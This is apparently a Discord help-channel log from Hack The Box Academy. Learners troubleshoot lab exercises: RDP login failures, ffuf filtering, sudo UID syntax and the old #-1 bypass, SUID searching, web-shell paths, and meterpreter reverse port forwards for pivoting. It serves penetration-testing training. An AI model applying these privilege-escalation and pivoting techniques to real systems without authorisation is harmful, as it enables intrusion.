# fathom pendant Copy/paste the path from the pwnbox terminal

I terminated and recreated it again but s
[17:18:46:793] [260104:260105] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[17:18:46:794] [260104:260105] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[17:18:46:794] [260104:260105] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[17:18:46:794] [260104:260105] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

fathom pendant
#

Try +clipboard instead of /clipboard

cold star
#

na same error

fathom pendant
#

Also in future wrap the errors and code output in ```

fathom pendant
#

Is there a space after /p:?

#

If so that shouldn't be there

cold star
#

'xfreerdp /v:10.129.66.142 /u:htb-student /p:'HTB_@cademy_stdnt' +clipboard /cert-ignore'

cold star
acoustic owl
#

The server responds with Login failure

cold star
#

Man I am soo sorrry

cold star
acoustic owl
cold star
rustic sage
#

I'm having trouble with the SIEM skills assessment. It won't connect to the target on port 5061. "This address is restricted

This address uses a network port which is normally used for purposes other than Web browsing. Firefox has canceled the request for your protection."

#

I've tried kicking both boxes and redownloading the vpn connection files.

solid storm
acoustic owl
cloud urchin
#

The question is asking for the path

solid storm
#

/usr/s../w../la../a../shell.aspx

cloud urchin
#

maybe maybe not, but you still have the file in there

#

file != path

solid storm
#

oh

#

thx

misty summit
#

I just joined the academy...

cloud urchin
#

you'll learn a lot i'm sure

sour hemlock
cloud urchin
#

sure

#

just ask here

true horizon
#

Hi!
can you help me with this questions cos I do smth wrong, but what???

cloud urchin
#

RE: the cors misconfig guy. your code is off, review the module's examples.

true horizon
#

what is mean "my code is off...."

cloud urchin
#

i was talking to a guy whose message got deleted

obtuse verge
#

thank you

#

The message contained code parts, thats why i deleted

true horizon
proven swift
#

Could someone help me on broken authentications skills assessment?

acoustic owl
fathom pendant
proven swift
#

i found the username but not sure why im not able to bruteforce the pass with ffuf

fathom pendant
#

Avoid spoilers as much as possible

acoustic owl
fathom pendant
#

If you're getting a lot of results. Consider filtering by a different method

#

-mc 200 matches response code 200, but an incorrect fuzz value may not give a different code from 200

#

Look for other things you can filter by

#

Like size

wooden gust
#

Looking for 1 for ctf competition (not promo) there is a prize pool btw

lost storm
#

For Attacking Common Services having trouble with SMB -Finding Jason's password. Hint says pwlist is on the resource. I'm seeing one share w/ read access and the rsa file that a null session doesn't have access to get

fathom pendant
#

Ffs @true horizon do not post answers

#

Also the answer would be what's after FUZZ:

#

-v gives a verbose output

true horizon
#

dont wory it is BAD answer

fathom pendant
#

?

true horizon
ocean night
#

Show the error, instead

fathom pendant
ocean night
#

You provided a command

fathom pendant
#

the question clearly states that you need to curl the website with the fuzzed value for y=

#

curl -s http://ip:port/post.php -d "y=<VALUE>"; echo ""

#

i add an echo to a lot of my curl stuff for htb because they'll show inline instead of a newline for whatever reason

true horizon
#

F*****k😖

fathom pendant
#

there's a reason i keep deleting your spoiler because it's not a BAD answer, you're expected to get something when you curl the website with the fuzzed value

#

¯_(ツ)_/¯

lost storm
true horizon
lost storm
safe star
#

u arent getting the correct password?

#

worked fine for me

lost storm
safe star
#

i used the wordlist listed in the resources

#

what are you using to test smb?

fathom pendant
plucky hollow
#

why does -sS need to be run as superuser? is it so that the operating system does not intervene by completing the tcp handshake automatically?

plucky hollow
#

sorry nmap

shut vapor
ocean night
#

Yeah, raw packets I believe

shut vapor
#

If you can't tell I'm hardly an expert at "how that works" and can't hope to explain it with clear, accurate language 😅

fathom pendant
ocean night
#

..which requires elevated permissions

fathom pendant
#

fun

#

huh... learned something new with vim/sed syntax today with linux privesc

plucky hollow
#

ok ty

fathom pendant
#

definitely gonna write out the explainer for it

plucky hollow
#

i like linux privesc

fathom pendant
#

the linux privesc module is quite fun (if you already understand the basics)

#

as it expands on fundamental knowledge and makes you go "wait...I can do that???"

#

like searching for SUID/SGID bits that you might be able to take advantage of

#

or even just searching for group permissions that your user may be a part of (id)

plucky hollow
fathom pendant
#

fun fact file permissions are actually representable with 4 octal values

#

special/user/group/others

lost storm
fathom pendant
plucky hollow
#

What happens if I'm on a website like Twitch that shows live streaming, does a new port open that uses UDP?

foggy monolith
#

Depends on the version of the HTTP protocol used by the website in question. In the case of HTTP/1 or HTTP/2, no. In the case of HTTP/3 (QUIC), yes. However, that port will close once you close your browser or tab.

plucky hollow
#

ty

foggy monolith
#

On a related note: HTB staff — might want to update the modules that talk about the different network protocols to mention that HTTP/3 uses UDP while HTTP/1 and HTTP/2 both use TCP.

nova wharf
#

hey guys qq in linux if I was trying to use a UID# instead of username would the syntax be this 'sudo -u #0\ command'

fathom pendant
#

open any website then do netstat

nova wharf
#

Im currently looking at the man pages and not sure about how it should right this command

fathom pendant
#

a website can't deliver its content to you without knowing what port to send the info to

fathom pendant
fathom pendant
#

but yes sudo -u#<id> command

#

it's funny because you can do fun stuff like input negative values 🙃

nova wharf
#

so -u#<id> close or do I need to space it

fathom pendant
#

you don't necessarily need to space it

#

actually just tested

#

there can't be any spaces

fathom pendant
#

no spaces

#

:P

#

otherwise it yells at ya

nova wharf
#

when putting in negative uid's I get yelled at is there a certain way to input those

fathom pendant
#

:P

#

generally modern sudo versions aren't exploitable with #-1

nova wharf
#

Well it worked to get a flag for a different part of the module now to find the file that has the flag for the first question

#

okay I'm stumped I'm on the first question for the Linux Privilege Escalation and I'm not sure what file I should be looking for. I've checked the system the best way I know following along with the module but I'm not sure what I should be looking for.

#

I was able to get root tho with a exploit I wasn't supposed to use yet but I don't know what file I should be looking for, hints please

fathom pendant
#

You don't need to get root... at all

nova wharf
#

yea I kinda figured when I did and the flag i got was for later in the mod

#

but now I don't know where to look

fathom pendant
#

The find command is powerful

#

You can use grep with it to locate the flag

#

Try with different filetypes

#

-exec is fun to play with, using find might add

fading cipher
#

Regarding File Transfers - Protected File Transfers.
Do you unencrypt the windows file the same way you do the linux one? (with openssl )

nova wharf
#

so I found the flag but how I would just know to look for it that way is over my head

fathom pendant
nova wharf
#

I'm not even gonna pretend I got that from how the mod was laid out but okay.

#

so next question is I was told to find the current version of python on the system and I did that but its not taking my answer

fathom pendant
#

You don't need to put python in front

#

That tripped me up

nova wharf
#

but that doesnt' match how the version is laid out is it just wanting the last part of it? whats showing is x.x.xx

fathom pendant
#

But what's output by python -V may not be the version that's latest 😉

#

It doesn't need the subversion

nova wharf
#

is the subversion the middle number?

#

I got it

fathom pendant
#

Major.Minor.Sub

brave trout
#

hey guys did u know that my uncle actually owns info sect

fathom pendant
#

We don't care

brave trout
#

what im saying is that since he owns it and hes always on work trips could u guys teach me python code and so called hacking

#

what command website u do this on?

fathom pendant
#

I literally don't believe you

#

But htb academy is good... hacking is far beyond python though

desert brook
#

any way to force targets to spawn? it's been stuck for quite a bit longer than normal

steep canyon
#

I'm having the same issue, targets are not spawning

#

Spoke too soon, after about 15 minutes the targets finally spawned.

desert brook
fathom pendant
#

Hard refresh page/clear cache

#

Change vpn regions

steep canyon
#

I did change vpn regions, not sure if thats what ultimately led to my success tho. Good luck!

limber river
#

seems like targets are not spawning

steep canyon
#

yea, had that issue a bit ago, took a solid 15+ min

limber river
#

I was in UK

ripe wraith
#

Can someone help me? I'm feeling really stupid. I can't copy from my home machine's browser into Pwnbox, and I'm unsure as to why

fathom pendant
#

Ctrl+shift+v to paste into terminal

#

Or fullscreen there should be a clipboard icon

ripe wraith
#

I've tried both, neither seem to work

#

Nevermind. I guess I did something wrong. Clipboard button worked, in the non-fullscreen mode, it does not accept my copy/paste. Is this a limitation of Firefox, or something else?

wanton idol
analog ferry
#

you need to use clipboard every time

ripe wraith
#

Ah gotcha

analog ferry
#

it’s the problem i face as well

ripe wraith
#

Thank you guys <3

wanton idol
#

yeah same

#

its annoying but eh its wtv

analog ferry
shut quest
#

Y'all know that pwnbox has public ssh, you can forward vnc over that or use remmina to ssh first and connect to vnc. You're not forced to use the browser.

ripe wraith
#

I know I'm not forced, I'm just getting started on pen-testing and cyber security and don't have my machine set up yet.

grand loom
#

weird question i have, i want to know the "why"

when i do !cat flag.txt in a smb share it displays the flag which htb **doesnt **accept.

but when i do get flag.txt in the smb share of the exact flag file, then cat it on my own machine, the flag is now different and is accepted by htb

misty current
misty current
#

Never used !cat before, maybe the ! Is doing something to it if I had to guess

#

I usually use “get flag.txt -“ if I wanted to read the flag directly

safe dock
#

Guys can anybody help me with nibbles initial foothold module

#

I am not getting Remote access

pallid hound
#

Hey @safe dock Having trouble with remote access? Here's a guide to fix it:

Check network & firewall settings.
Verify remote access software configuration.
Update software & try different device/network.
Seek technical support if needed.

Subscribe to Vayavakhan: https://www.youtube.com/@Vayavakhan

obtuse haven
#

i need a sanity check im going insane on the final skill assessment in the tunneling module

#

ive done it before up to the last flag but now my reverse port forward seem to not work

#

right in the first hop

#
meterpreter > netstat

Connection list
===============

    Proto  Local address            Remote address            State        User  Inode  PID/Program name
    -----  -------------            --------------            -----        ----  -----  ----------------
[SNIP]
    tcp    :::22                    :::*                      LISTEN       0     0
    tcp    :::4444                  :::*                      LISTEN       1001  0
    tcp    :::8000                  :::*                      LISTEN       1001  0
    tcp    :::80                    :::*                      LISTEN       0     0
[SNIP]

meterpreter > portfwd

Active Port Forwards
====================

   Index  Local             Remote     Direction
   -----  -----             ------     ---------
   1      10.10.14.50:4444  [::]:4444  Reverse
   2      10.10.14.50:8000  [::]:8000  Reverse

2 total active port forwards.
#

my ip is indeed 10.10.14.50

#

i also did a port forward of port 8000 to try ping a netcat listener with a web request to see if the problem was with the payload, but i still receive no connection

#

so i think the problem should be with the tunnel

#

also i can access the pivot box from the box im attacking, i tried starting a nc listener on the pivot instead of the reverse port forward and it worked

safe star
#

im kinda confused which host ur on

#

also u should def learn ligolo

fathom pendant
#

I've always found meterpreter heavily clunky

safe star
#

fr

#

had to use it for ejpt and was terrible

fathom pendant
#

Unless a payload only exists in meterpreter (or the PoC for the exploit is so old its not worth refactoring)

#

Though good coding practice is refactoring py2.7 code to 3.11 as the python 2to3 module only goes so far

obtuse haven
obtuse haven
#

i dont really know what isnt working now

fathom pendant
#

Do you have the route set?

surreal imp
#

Anyone have luck with the Windows Server Update Services (WSUS) section of Windows Lateral Movement?
For Q1. Compromise the DC01 using WSUS. Submit the flag located at C:\WSUS\flag.txt, I am not having luck even with instructions in walkthrough for this section.

obtuse haven
wise vault
#

Attacking Enterprise Networks >> post exploit did anyone faced this error before?

obtuse haven
safe star
#

what was the problem again?

obtuse haven
#

i will dm you my steps in more detail?

obtuse haven
#

ideally im trying to use it to get a meterpreter shell but does not work even for a simple web request